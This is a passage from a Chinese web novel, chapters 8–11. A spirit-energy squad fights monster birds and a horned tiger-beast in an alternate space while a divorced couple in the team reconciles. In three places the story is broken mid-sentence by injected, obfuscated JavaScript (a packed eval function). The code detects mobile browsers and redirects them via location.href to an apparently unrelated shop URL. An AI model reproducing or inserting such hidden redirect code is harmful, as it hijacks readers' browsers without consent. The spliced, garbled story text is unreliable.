景叙阳勾了了下嘴角,拼上所有灵能对着鸟群一顿扫射,每一枪都精准命中鸟眼。双眼都被打穿的直接落地身亡,打穿单眼的慌忙逃窜。一时间。怪鸟全都失了阵脚,在铺天盖地地惨叫中四散逃命。 他见鸟群撤走,松了口气,身体一晃,脱力地单膝跪在地上,勉强枪杆撑起身体。 欧冶正准备说话,抬头看见一旁的屋顶上站着一只怪鸟,它的独眼正死死盯着景叙阳,双翼张开。 “景哥小心!” 景叙阳一抬头,巨大的阴影覆盖下来。 他来不及躲闪,低头闭紧眼睛。 怪鸟的惨叫和“砰”的一声巨响在他耳边炸开。 “队长!”他听见欧冶激动叫道。 景叙阳按住狂跳不止的心脏睁开眼,看到一根棍子贯穿双目,把怪鸟钉死在对面墙上。 他转过头,看到夜聆枢朝他跑来,身后跟着靳炎姜蝉和徐归尘。 幸好,这里有她。 8. 开了 黑夜很快到来,他们在院子里点起火,分着干粮。 夜聆枢看到景叙阳手上有一片擦伤,皱了下眉:“这是怎么弄的?” “不小心摔了一跤,没事。” 夜聆枢不由分说拉过他的手,把袖子往上一撸,露出手腕的伤痕和一片淤青。 她从姜蝉那里拿了药和棉球,擦药的时候不忘数落景叙阳:“这么大人了,走路也不看着点。” 景叙阳看着她认真上药的样子,弯起嘴角。 “徐哥,给。”欧冶递来一个水壶。 “谢谢。”徐归尘把目光从远离人群的两人身上收回,接过水壶。 “那个人,是你们队长的爱人?”他看了景叙阳一眼,问欧冶。 “你说景哥啊,呃……他……以前是。” 徐归尘莫名其妙:“以前是?那现在呢?” 欧冶挠了挠头:“呃……就是……他以前是队长的爱人,现在……看起来好像也爱,但不是爱人……” 徐归尘听得一头雾水。 “那是她前夫。”姜蝉一句话解决问题。 欧冶尴尬地点了点头,表示这就是他想表达的意思。 徐归尘抬起头望着远方,叹了口气:“真好啊,有爱人在身边。这么多年过去,我爱人不知道怎么样了。” “你失联后被判定牺牲,评为烈士,家属会被相应安置。”靳炎说。 “结婚不到一年,我就进入19号空间,后面的事你们也知道。这二十多年,也不知道她过得好不好。” 靳炎拍了下他的肩膀:“徐大哥,等离开这里,我们和你一起找嫂子,一定能找到的。” 徐归尘苦笑道:“真是谢谢你,不过我们不一定有命从这里离开。” “这次是我们幸运,几个人的落点离得不远,下一次可就不一定了。” “徐哥,你之前到过这种地方吗?就是这种地形有变化,还有人类活动痕迹的地方。”欧冶问道。 “没有,我也很惊讶,异空间里居然会有这种地方。” “这里和我们之前所处的空间不一样,”景叙阳的声音突然传来,“灵能结构变了。” 蓝予澄拿出灵能检测器,数据信号果然发生了变化。 景叙阳找了个空地坐下:“空间扭曲把我们带到一个新的区域,或许是我们想找的核心区。” 夜聆枢坐在他旁边,正盯着地图:“不是,核心区不长这样。” “每个异空间的核心区都有所不同,但都是一个承载法阵的祭坛和一群灵能驱动的守卫,只要摧毁祭坛就能完成异空间清剿。” “像这样接近现实的场景,还真是头一次见。” 徐归尘表示赞同:“其他异空间的守卫会攻击入侵者,但他们都是人形,不像这里又是蝙蝠又是怪鸟。” 他们都清楚这一点,在座的几人除了景叙阳都进过两个以上异空间,夜聆枢近两年更是频繁出入,带队清剿了“永寂”之外的异空间。 夜聆枢说:“我们得找到核心区,只有找到核心区才有出去的希望。” 她看向蓝予澄:“予澄,你能不能检测到整个空间里能量最强的地方?” 异空间的存在依赖于核心区的法阵,那里是整个空间能量最强的地方。 “我试试。” 蓝予澄操作仪器的时间,他们讨论起今天的经历。 “我们的落点似乎没什么规律,”夜聆枢听了他们的叙述,“但是与村庄的距离差不多。” “我在石碑上发现了特殊的符号,记下来了。”景叙阳把本子翻开给她看。 夜聆枢翻了翻,每个符号都由抽象的文字组成,形状各异。 “你能看懂吗?”她看不懂。 “不懂,”景叙阳老实回答,“我得研究一下。” “景哥,我有件事想问,”欧冶还记着他白天做的事,“我们打罗刹鸟的间隙,你拿了根针,那是在干嘛?” 景叙阳眨了下眼,微扬嘴角:“你说这个吗?” 他合上本子,从衣服口袋里拿出那支笔。 笔上的花纹此时黯淡下去,火光的映照下隐约能看到一个暗金的符号。 “这是我的,法器。”景叙阳想了个合适的说辞。 “这一头是银针,可以吸取能量体的灵能,这一头是特制的笔,可以书写符文。”他把两头的笔帽分别拔开,解释道。 “予澄打碎了罗刹鸟的晶状体,我提取了里面的灵能,注入符文,短时间内可以追踪它的眼睛。” 欧冶眼睛瞪得老大:“你是靠这个打中鸟眼的?怪不得跟开了自瞄一样!” 景叙阳点了点头:“枪上刻了符文,我的准头可没那么好。” 欧冶两眼放光,双手一伸:“能给我看看吗?” 景叙阳把枪给他:“其实没什么变化,只是写了点符文。” “符文已经投入应用了?”夜聆枢记得这玩意儿一直都是理论研究,从来没人说能实战应用。 景叙阳眼睛一弯:“之前没有,现在有了,不过整个灵师界只有你前夫一个人会用。” 夜聆枢把脸一绷,忍住抬手扇他的冲动。 “队长,”蓝予澄拿着仪器给她看,“没有发现核心区,但有一个地方的能量波动很大。” 仪器上显示出能量热点图,能量从一个红色区域向外阶梯性递减,他们所处的区域是蓝色。 “知道了,随时检测。” 夜聆枢闭上眼,把灵能附加在谛频上,刚放出去,高高低低各种频率闯入脑中。她眉头一皱,立刻中断谛频。 她按住左手手腕,紧贴皮肤的手环隐隐发热。 景叙阳按上她的手腕,捏到了手环:“这里环境变了,别用谛频。” 夜聆枢把手抽回来:“我没事。” 黑夜持续了十个小时,在太阳的驱散下消退。 欧冶伸了个懒腰:“这里居然还有太阳,和现实中一样。” 夜聆枢拿着热点图说道:“我们向能量集中地出发,看看在那里能不能找到进入核心区的办法。” 村口有条路通往山外。他们顺着山路,一面盯着地图。 “指向仪能用了哎。”欧冶拿出灵能指向仪,在手里转了好几圈,依然准确地指向北方。 从他们失联开始,这东西就失灵,他们之前赶路一直都是凭借以前标记的方向。 景叙阳拿出自己那个罗盘,指针直直指着前方。 他前面走着夜聆枢。 欧冶见他拿着罗盘左晃右晃,摇来摇去,指针依旧坚定地指着前方。 “景哥,你这个罗盘是不是坏了,都不指北了。” 景叙阳却神秘兮兮地一笑,啪一下合上盖子,把罗盘收起来:“没坏,好得很。” 欧冶丈二和尚摸不着头脑:“不指北还能好着?” “我这个罗盘改造过,不是用来指北的。” 欧冶大惊失色:“我去?罗盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669446|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能改造得不指北?景哥你教教我。” 景叙阳笑道:“这个教不了,你好好研究机械吧,别接触我这些旁门左道。” 欧冶凑过来:“自瞄那招能不能教教我,我开枪准头特差。” 景叙阳看他一脸的期待,不好拒绝:“回头给你画一个,但我不确保有用。” “耶!” 夜聆枢闻声回头瞪了他俩一眼。 欧冶捂住嘴,灰溜溜地跑到队尾去找靳炎。 走出这座山,土路依旧蜿蜒向前。 夜聆枢拿起望远镜,在视野的尽头看到一个黑点。 他们顺着小路继续前进,离那个黑点越来越近。 走出几公里,夜聆枢再看,能辨认出那是一片建筑。 “好像是座小城,离我们有十多公里。”靳炎说。 夜聆枢点了下头:“我们尽快赶到,看看城里有什么。” 走到跟前,他们才看出这是座县城。一眼就能看见里面的低层居民楼,起码是二十年前的产物。 城外还有座牌坊,上面的字落了厚厚一层灰,隐约能辨认出“浮玉县”三个字。 “队长,城里有能量体。”蓝予澄说。 “级别高吗?” “没有超过四级的。” “连续出现村落和县城,这里很可能有人存在,”夜聆枢对队员们说,“我们得进城,战斗在所难免。” 队员们表示同意。夜聆枢拔出背了一路的两根棍子,两端一怼拼成一根长棍。 “时刻警惕周围。” 城里静悄悄的,老旧的居民楼静静立在两旁。那些紧闭的窗户仿佛一只只眼睛,时刻注视着他们。 夜聆枢放出谛频,感应到潜伏在城中的灵能,它们正隐藏在看不见的角落。 “队长,前面有一所学校。”靳炎先看到旗杆,再看到建筑。 “去看看。” “居然还有小卖铺,”欧冶看到学校门口的小屋子,“现在的学校都取消了。” “我上小学的时候还有,一下课就跑去买辣条。”徐归尘说。 夜聆枢扫了一眼,校园不大,三层的教学楼比周围的居民楼高不了多少。教学楼前的空地当操场,一旁还有个简易钟楼,挂着个小钟。 姜蝉看了看垂下来的摇绳:“手摇上课铃?这是什么年代的产物?” “反正我没见过,我上学那会儿是电子铃。”徐归尘说。 周围的寂静中混入拍击空气的声音。灵能频率突然活跃起来,夜聆枢立刻警觉,握紧手中的棍子“定风”。 “有东西飞过来了!” “呼”得一个黑影从头顶掠过。他们一抬头,一只罗刹鸟站在楼顶,双翼半展,尖喙对准他们。 这一只比村庄遇到的那一群更大,嘴爪更尖利。 它仰起头,对着天空一声怪叫,四面八方传来此起彼伏不堪入耳的怪声。 “又来了!”欧冶一听这个声音就觉得瘆得慌。 眼前的景物黯淡下来,不是乌云飘过,而是大群的罗刹鸟飞过天空。当阳光再落下来时,教学楼、对面的居民楼、小钟楼顶上全都落满了罗刹鸟。 最起码有三十只。 它们个个剑拔弩张,不断发出嘶鸣。其中的几只是独眼,拧着脖子狠狠盯着他们。 夜聆枢扣下护目镜,将“定风”横在身前。 “重点攻击鸟目,注意保持距离,不要分散!” “行动!” 9. 伤了 靳炎扳机一扣,一道金光擦过罗刹鸟的独眼,眼周羽毛登时翻飞。 这只罗刹鸟怪叫一声,所有鸟一齐大叫,呼得一下全部腾空,黑压压地朝他们压下来。 欧冶提起一樽大炮,一击将鸟群轰出一个大洞,几只筋骨断裂的鸟直直落下。 剩下的鸟包围上来,迅速弥补了那个缺口。它们磷火般的眼睛从四面八方盯着他们,状如黑夜里的鬼火。 他们端起枪,不断地射击。这些鸟学得聪明了,互相用身体挡住子弹,保护眼睛。 灵能枪只能打穿厚重的羽毛,伤不到根本。它们有恃无恐,抬起脚爪就要袭来。轰得一发大炮将最近的一只鸟击飞在鸟群中。 “我最多开十五炮!”欧冶把炮口对准鸟群。 “够了!” 夜聆枢抬起棍头,灵能汇聚的光球接连打出,与灵能枪的效果无异,威力偏小,攻击更快。 她瞄也不瞄,直指那些鬼火一样的眼睛。迅速的攻势配合灵能枪和灵能炮,让怪鸟难以全部躲避,很快有十来只被打穿双目倒下。 景叙阳提取的灵能早已失效,今天端着枪完全是一通乱打。 从灵院毕业之后,他再没拿过枪,不误伤队友已经是万幸。 “嘎——”一只罗刹鸟突然扑上来,利爪直取景叙阳。他来不及躲闪,开了几枪都打空,挥着枪杆就迎上去。 罗刹鸟抓死枪杆,钩嘴狠命向他啄来。欧冶眼疾手快开了一炮,打在它的脖子上。它惨叫一声飞出去,把没来得及松手的景叙阳也给带飞出去。 “景哥!”欧冶一边开炮一边盯着趴在地上的景叙阳。 夜聆枢一击打废一只鸟眼,回头一看景叙阳正从地上爬起来。 其他罗刹鸟发现了机会,放弃围攻,朝着景叙阳一拥而上。 欧冶提起炮筒就是两炮,拦住半空中那些鸟。其他人的枪弹掩护接踵而至,逼得大部分鸟不得不放弃攻击景叙阳。 还是有两只没拦住,从天而降冲着他亮出利爪。景叙阳赶紧翻滚躲开,被两只鸟落地的气流扬了一脸土。 “咳咳咳。”他被尘土呛得直咳嗽,抹了把脸,感到手上有些粘腻。还没来得及起身,又是一股气流扑来。 耳边一声怪叫,寒毛顿时立起。他听到唰的一声,然后是“啪嚓”“砰”接连两声。 两只鸟盯着挡在景叙阳面前的夜聆枢,威胁般冲着她大叫几声。夜聆枢抬起棍子,赏了它们一鸟几击。 欧冶接上两炮,将这两只鸟从墙头打下来。 这两只罗刹鸟重重落在地上,成为最后两个倒下的。 学校的空地上铺满灰黑的羽毛和罗刹鸟的尸体。 夜聆枢把景叙阳拉起来:“你没事吧?” “没事。”他用手背擦去嘴上的土。 夜聆枢看到鲜红的血珠从蒙土的嘴唇上渗出,下意识抬手想帮他擦掉。 “当心!”景叙阳突然跳起把她扑到一边。夜聆枢就势在地上滚了一圈,撑棍立起身子。 最先进攻景叙阳那只鸟突然“起死回生”,扬起脖子向他们啄来! “砰”得一声炸裂在它眼眶。罗刹鸟抬起脖子对天大叫一声,猛扑翅膀腾空飞起。 “它的眼睛怎么没事?”靳炎明明看到自己打中了它的眼睛,现在那个眼眶中依旧闪烁凶光。 景叙阳看到它的眼睛上褪去一层淡黄的屏障:“是瞬膜!这只鸟的瞬膜比其他鸟厚!” 话音刚落,罗刹鸟俯冲下来,直扑景叙阳。其他人开枪试图用火力压退它,它却收爪将翅膀外翻,掀起的强大气流险些将人撂倒。 景叙阳被风迷了眼,腰和左臂突然被一股大力一提,整个人离地腾空,耳边呼呼作响。 “景叙阳!” “景哥!” 景叙昀拼命想扳开身上的爪子,但鸟爪就像铁钩一样,牢牢抓着他。 罗刹鸟飞到楼顶高度,对着他们嘎嘎怪叫两声,像是在嘲笑。 靳炎扣住扳机的手指僵硬在那里。这个距离太容易误伤,打中景叙阳他必死无疑。 夜聆枢咬紧牙关,攥紧手中的定风。 “你们在地面接应。”她撂下这句话,拖着棍子向罗刹鸟的方向冲过去。 景叙阳看到她提棍一甩,一道白光劈了过来,从他身边擦过。 紧接着一发光球打在鸟腹,罗刹鸟带着他一颤。 夜聆枢在地面助跑几步,棍头点地,跃上围墙,离罗刹鸟近了几分。 她抬起定风指着鸟头:“人留下,饶你一命。” 罗刹鸟嘶鸣一声,翅膀一扇,带着景叙阳急速上升。夜聆枢看准它飞过的时候,将灵能蓄在棍上,卯足了力气掷出。 景叙阳听见“咔啦”一声,那根棍子直直戳过罗刹鸟的翅膀。 它惨叫一声,但是没有停下来的意思。 夜聆枢抬起手,定风脱开鸟翼飞回她手中。罗刹鸟翅膀漏风,身子一歪栽下来。 景叙阳以为自己要被摔个半死,结果落地前被一股力缓缓托住,安然落在地上。 “怎么样景哥,摔着没?”欧冶带着一群人跑过来围在他身边。 “没。”景叙阳看到了旁边那个发光小圆片。 欧冶把它捡起来关掉:“这是我发明的缓冲垫,储存灵能缓解冲击,看来效果不错。” 景叙阳摔下来没事,罗刹鸟可就没那么好运。它撑着半残的翅膀想立起身子,却看到夜聆枢拖着棍子朝它走来。 它展开翅膀嘶鸣一声,露出钩嘴,试图找回气势吓退这个灵师。 夜聆枢懒得跟它墨迹,抬手一发打断了鸟腿。罗刹鸟失去平衡,身体栽倒在地,紧接着翅膀上受了一记重棍,立马耷拉下来。 夜聆枢知道它已经多处骨折,强弩之末,一棍子把它打翻在地,一脚踩住鸟喙基部,提起定风对准鸟眼。 撕心裂肺的一声惨叫直冲天空,四周渐渐归于平静。 她回到队员身边,姜蝉正给景叙阳手上的伤口消毒。 夜聆枢看到他手上大面积擦伤,皱了下眉:“你怎么不戴手套?” 景叙阳转过头:“不习惯。” 他瞧见夜聆枢的脸色很不好看,连忙找补道:“以后一定戴。” 蓝予澄递给他一条干净毛巾:“景先生,你把脸擦一下,好多土。” 夜聆枢接过蘸水的毛巾,轻轻擦去景叙阳脸上的土和血污。 景叙阳很配合地一动不动。 擦干净才发现他下巴、脸颊、鼻子都有伤,好好一张脸摔得满脸桃花。夜聆枢忍不住说了句:“你不会破相吧?” 景叙阳眨巴两下眼睛:“破相你就不要了是不是?” 夜聆枢正无语,姜蝉插嘴:“放心,有我的药,疤都不留。” 夜聆枢看景叙阳干净了,把毛巾塞到他手里,起身到学校外查看情况。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669447|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚那么大动静的打斗,如果这里有其他东西,一定会被惊动。 果然,她感知到了另一种能量体的频率。 “又有能量体靠近,”她说,“保持警惕。” 五人端起武器,把景叙阳围在中间,戒备着四周。 一个雄浑的声音从街道上传来,乍一听像是虎啸。一个身形庞大的东西一跃翻过围墙,直扑他们。 他们集火怪物。这东西挨了几下,虽然放弃进攻却像没事一样,把头一转,朝夜聆枢扑过去。 夜聆枢提棍迎上扑来的利爪,强大的冲击让她后退几步。 这个怪物状似老虎,却有牛角,嘴里还突出两根獠牙,像神话里走出的凶兽。 它咆哮一声,低头朝夜聆枢冲过来,两只角和两根獠牙直对着她。夜聆枢知道不能硬拼,算准它冲过来的时间,纵身一跃跳到一边,回到队友身边。 怪物扑了个空,掉过头来锁定了六人。 还没等它再发起攻势,“啪”的一声脆响,獠牙上留下一个深洞。 靳炎瞄准它的眼睛:“牙比想象的牢固,但能打穿。” 怪物蓄力,猛跑两步飞扑过来。欧冶在它腾空时连开几炮打在其腹部,居然没有把它击飞出去,只是逼迫它落在地上。 它张开大嘴,低吼一声,靳炎立马送它几枪,打断了两根獠牙。 他单眼略一瞄准,扣动扳机的下一刻,怪物一眼中招,在地上嘶吼打滚。 灵能瞄准器虽然好用,但近距离射击精准还是得用眼瞄。 怪物怒吼一声,唯一完好的眼睛死死盯着他们。它躲过他们的枪炮,绕着几人转了一圈,突然扑向蓝予澄。 蓝予澄和一旁的姜蝉几乎同时连开数枪,但单纯的枪击对它没什么威慑力。利爪就要落下,一把长刀突然贯穿了虎爪,生生帮他拦住这一击。 夜聆枢蓄力打在怪物肋骨一侧,欧冶顺势跟上几炮,把怪物掀翻出去。 这次不等怪物起身,夜聆枢提棍直取它咽喉,捅下去却发现皮糙肉厚难扎透。徐归尘抡着手里的长刀,奋力一扎,“噗”得鲜血直流。 怪物剧烈地挣扎起来,他们连忙退后。它还想逃命,站起来晃了两下,轰然倒地。 欧冶抹了把头上的汗:“应该结束了吧?” 蓝予澄拿出灵能检测器:“应该没了。” 夜聆枢点了点头,周围确实没有更多的频率了。 徐归尘从怪物身上拔出长刀,用布擦掉血迹。 “幸亏有徐哥,不然这怪老虎的皮可一点也打不透。”欧冶上前踹了一脚尸体。 蓝予澄有心感谢徐归尘帮他挡下一击,犹豫了一下,没说出口。 靳炎看着满地的尸体和羽毛,问夜聆枢:“队长,我们要在这里过夜吗?” “再往前走不知道会遇到什么,这里的怪物我们已经清剿完,这座城还得再搜查,暂时要留在这里。” 靳炎点点头:“那就找个安全的地方过夜。” 他们就要出发,靳炎看欧冶弯着腰在那儿干什么,冲他喊道:“走了欧冶,你干嘛呢?” “马上马上!”欧冶直起腰,手里攥着一把灰黑的羽毛跑过来。 靳炎见状,无语至极:“你怎么随地乱捡东西?” 欧冶嘿嘿一笑:“捡两根做个纪念。” 服了。 谁跑到异空间来还带伴手礼啊。 10. 歇了 县政府的门被一脚踹开,顿时灰尘乱飞。 夜聆枢挥了挥手扇走灰尘,四下里看了一圈。 “就在这里休息。” 这地方老是老,破是破,至少还完好,是个合格的庇护所。 欧冶往地上一瘫:“终于能休息了,值班叫我。” 姜蝉看他两眼一闭就要睡,在他手臂上捶了一拳:“先把恢复药吃了。” 蓝予澄铺开坐垫规规矩矩坐下,看着欧冶嘟囔了一句:“冶哥也不嫌地上脏。” “你别跟他一样就行。”靳炎卸下装备放在一边。 景叙阳捂着侧腰慢慢坐下,松开手一看,手掌上全是血。 他又摸了一把左肩,又是一手血,忍不住“嘶”了一声。 夜聆枢凑近些,看到他身上被鸟爪抓过的地方沁出一片鲜红,作战服也被撕裂。刚刚忙着找庇护所,没来得及管他,现在发现伤得不轻。 “我来看看。”姜蝉给其他人发完恢复药,提着药箱过来。 脱掉上衣才看清伤口全貌,几道抓痕将皮肉撕裂开来,水沟一样往外流血。 夜聆枢见状,皱了下眉:“要缝针吗?” 姜蝉拿起沾药的棉球:“先清理伤口,你按着别让他动。” 夜聆枢从正面扶着景叙阳,一手按在脊柱上,一手抓着他的手臂,几乎把他整个人抱进怀里。 她能感觉到景叙阳在抖。这种皮肉撕裂的伤她亲身经历过,姜蝉的手法她也见识过。药液毫无阻碍沁入伤口扎入神经的感觉,任谁也不想体验。 景叙阳闭着眼,睫毛微颤。夜聆枢突然很后悔把他牵扯进来。 如果当初听他的提议,从外部破解异空间,就不会连累他受伤了。 “得缝几针,”姜蝉说,“这样好的快。” 夜聆枢看着他肩上的伤口,僵硬地点了下头。 姜蝉动手前看了景叙阳一眼,对夜聆枢说:“你能摁住他吗?要是摁不住可能会缝歪。” 夜聆枢还没说话,景叙阳转过头:“姜医生,你不用担心,我不动。” 他转回来对着夜聆枢的脸,用只有两人能听到的声音说道:“可以让我抱着你吗?” 夜聆枢只觉得心脏重重跳了两下,一时不知如何回答。景叙阳见她表情一片空白,伸手环住她的腰,把自己送进她怀里。 他把下巴垫在夜聆枢肩上,小声说了句:“其实我挺怕疼的。” 都已经到这个份上了,再把人推开也不合适。夜聆枢只能把手放在他没受伤的地方,依旧腾出一只手抓住大臂。 姜蝉正要拿针的手僵在半空,石化了一样半张着嘴。 小情侣这么嚣张吗? 公开场合秀恩爱? 哦,不是小情侣,是老夫妻。 “姜蝉?姜蝉?”夜聆枢看到她诡异的表情,心里尴尬得要死。 她都不敢回头,怕对上另外几人诧异的目光。 姜蝉撇了撇嘴:“行吧,别让他动就行。” 她麻利地消毒器材,缝合伤口。夜聆枢也不知道景叙阳啥感觉,反正看她手挺快。 姜蝉给他包扎好,收起针线。 “他腰上的伤你处理吧,我就不动手了。” 夜聆枢莫名其妙地看了她一眼:“避这个嫌没必要。” 姜蝉邪魅一笑,挑了下眉:“权当给你练手了,让我歇会儿。” 夜聆枢正想质问她,景叙阳在她颈侧轻轻蹭了蹭。 要不是看在负伤的份上,真想把他扔出去。 “腰上不用缝针,你消毒上药包扎就行了。” 姜蝉留下药,起来就跑。 夜聆枢彻底麻了。她低头看了眼景叙阳血糊淋啦的伤,叹了口气。 她想让景叙阳趴下,结果他跟个超大号挂件一样死死扒着她,根本不松手。 “松手,”夜聆枢毫无感情地说,“你这样怎么上药。” 腰上的手臂又圈紧了几分,景叙阳在她耳边哼哼了一句:“疼,想抱着你……” 夜聆枢拳头都硬了。 真踏马蹬鼻子上脸! 她深吸了一口气:“景叙阳,我给你两个选择。” “第一,松开手老实趴下,让我给你上药。” “第二,继续挂在我身上,等我把你踹出去。” 景叙阳知道夜聆枢真的会踹他,磨磨唧唧松开手,趴在铺好的垫子上。 他到底不是常年风吹日晒的人,皮肤白皙又光滑,这使得三道血痕在腰间格外显眼。 夜聆枢夹起沾药液的棉球,轻轻落在伤口边缘。 那处皮肤一颤,她下意识用另一只手按住景叙阳后腰,感觉到他猛的挺了下腰,连忙抬手。 夜聆枢后知后觉地想起,虽然他们离婚没多久,但很久没有这么亲密的接触了。 毕竟是曾经的夫妻,这有些太暧昧了。 她一边想着,一边把空闲的手放到一旁,默默擦掉伤口附近的血污。 “聆枢,”景叙阳偏过头看着她,“你可以把手套摘掉。” 夜聆枢正要开另一瓶药:“什么?” 景叙阳把半张脸埋在臂弯,露出一双眼睛看着她:“手套有点粗,你把手套摘了再摸我。” 夜聆枢感觉全身的血都往脸上涌,整个人瞬间爆炸:“谁要摸你!你给我把嘴闭上老实趴着!” 景叙阳倒是闭嘴了,但她脸上的热意久久不能退散。她慌慌忙忙给他上药包扎,心知脸一定是红的。 这王八蛋故意的吧。 这下丢脸丢大了。 姜蝉费了老大劲儿才憋住笑,对靳炎说:“幸好欧冶睡了,不然肯定又要大呼小叫。” 靳炎瞥了一旁睡得正香的队友:“最好别让他知道,免得他说了什么不该说的,队长又要捶他。” “话说,你们上级派这个研究员来当指导,没提前调查过他的人际关系?”徐归尘问。 两人面面相觑,不知道怎么把话圆回来。 “一般不允许夫妻同队,离婚也不行吧。”徐归尘接着说。 他俩没法接,总不能实话实说,承认景叙阳是非法闯入的吧。 万一徐归尘因为这个质疑团队决策,后面会更麻烦。 “主要是,”姜蝉硬着头皮解释,“现在灵文院就这一个能用的,剩下的,不是太老就是没经验。” 好在徐归尘没打算继续追究,听姜蝉这么说,点了下头。 夜里,徐归尘和夜聆枢守夜。 “我那个时候,很少有近战系的灵师当领队。”徐归尘说。 夜聆枢不冷不热地“嗯”了一声。 “我看你也不是单纯的近战,现在的战斗体系革新了吗?” 夜聆枢惜字如金:“没。” “那你的武器……” “特制的,灵工院做的。” 徐归尘见她不想回答这些问题,换了个话题。 “你们那个技术指导,比我想象的要强一点。” 这话是真心话,景叙阳的枪法虽然不怎么样,但反应力和体力都还不错,比徐归尘见过的研究员强得多。 一个声音冷不丁冒出来:“我是天枢灵院毕业的正经灵师,没进部队而已。” 夜聆枢一回头,躺在旁边的景叙阳睁着眼。 “你怎么不睡?” 景叙阳勾着她的衣角:“疼,睡不着。” 夜聆枢:…… 真想一拳给他打晕。 “我在学院受过基础训练,分流的去了科学院,后来才去了灵文研究院做研究员。” 徐归尘有些意外:“现在天枢还往灵文院送人?” 景叙阳突然不知道该说什么,夜聆枢替他解释:“其实是没有,这几年就他一个。” “准确来讲,自从灵文院和天枢灵院合作后,他是第一个去的。” “灵文院……不是解读符文的吗?我记得以前是合并在历史研究院里的。” 景叙阳“嗯”了一声:“大概十五年前分出来的,十年前灵文院开始和天枢合作,希望从天枢招来年轻的灵师,为符文研究注入新的血液。” “但是,一直都没人愿意选符文这个方向,所以一直没招到人。现在灵文院的研究员除了我,都是学历史 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669448|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和古文字出身的。” “灵师界已经开始应用符文了?” “也……没有,”景叙阳从地上慢慢坐起来,“重视符文也就是近二十年的事,因为在异空间法阵里发现了符文。” “灵文院的研究,以解读和追溯为主,想从符文书写的古籍里找出一些与异空间相关的内容。” “你之前说会应用符文,是灵文院最新的研究成果?”徐归尘对这个比较感兴趣。 景叙阳思忖片刻:“是,还没用公开推广开来,我只是试用一下。” 他靠到夜聆枢身上,抱着她的胳膊。 夜聆枢不自在地把胳膊抽出来,偏过头去。 徐归尘扫了他们一眼,拿起手电:“我去门口看看。” 景叙阳看他在门槛上坐下,出了口气:“他终于走了。” “你对他有意见。”夜聆枢看了他一眼。 景叙阳伸长胳膊搂住她,下巴贴在她肩头。 “我不喜欢有人质疑符文,更不喜欢别人质疑我的选择,”他轻轻说道,“我的选择绝不会动摇,你知道的。” “嗯,”夜聆枢表示知道,“但你没必要因为这个动气,他毕竟是三十年前的人,不理解很正常。” “我知道,我习惯了。”景叙阳把全身的重量放在她身上。 “别说是三十年前的人,现在的人不是一样不相信符文么。” 他看着夜聆枢:“对吧,夜少校?” 夜聆枢知道他是在翻旧账,说她以前不相信他的理论。 她沉吟片刻:“单凭那些研究,真的很难服众。我们清剿异空间这么多年,武力清剿经验非常丰富。突然提出从外部破解,实在……荒唐。” “灵锋那些老顽固就算了,你也不愿意听我解释,还要跟我吵架,吵架不够还要离婚。”景叙阳手里闲不住,把玩着她的衣角。 “你也没有拿出一套完整的方案啊。”提起这事,夜聆枢还是来气。 “我们不是否认和平解决的理念,只是你们给不出完整的方案。当时异空间能量波动,谁都不能预测什么时候会发生危险,能给你们一个月准备已经很宽容了。” “再等下去,事情不知道会发展成什么样子。” “异空间清剿本来就充满变数,不存在零风险的决策。” “我们不希望牺牲,但是如果少数的牺牲能换取多数的和平,牺牲就被赋予了最大的意义。” 景叙阳闻言,停下了手中的动作,默默靠在她肩上。 “不过,有句话你没说错,”夜聆枢话锋一转,“符文对战场有很大潜力。在你这里,我看出来了。” 景叙阳扬起嘴角:“这算是认可我的研究?” “之前,我话说得比较过分,是我的错。离婚……主要是不想让你管我。” 景叙阳总为她担惊受怕,甚至劝她转教学岗。她明白自己是个什么样的人,她不想让婚姻束缚自己的人生,也不想让自己制约景叙阳的未来。 离婚,在当时看来是他们最好的选择。 景叙阳立起身子,握住她的手:“你还是太低估我了,离婚根本甩不掉我。” 夜聆枢抬眼,看他一脸认真,无奈一笑:“好吧,算我输了,你想怎么样?” “回去复合。”景叙阳还是这句话。 夜聆枢看到他眼里的期待,抿了下嘴。 “先活着回去吧。” 景叙阳穷追不舍:“你答应我,回去就复合。” 夜聆枢看着他,那眼神多年来从未变过。 她突然明白,景叙阳是一个如此专一的人,不论是对他的事业,还是对他的爱人。 她舍不下这样一个偏执又热烈的人,也甩不掉他,或许他们注定要一生捆绑在一起。 她终于开口:“好,我答应你。” “说话算数吗?” “你还想怎么样,要我发誓吗?” “不用,”景叙阳笑起来,凑到她跟前,“盖个戳就行。” 真是死皮赖脸。 “盖戳可以,”夜聆枢抬起手,“巴掌也是戳,送你个大的。” 11. 迷了 欧冶一个鲤鱼打挺坐起来,往外一瞅,天已经擦亮。 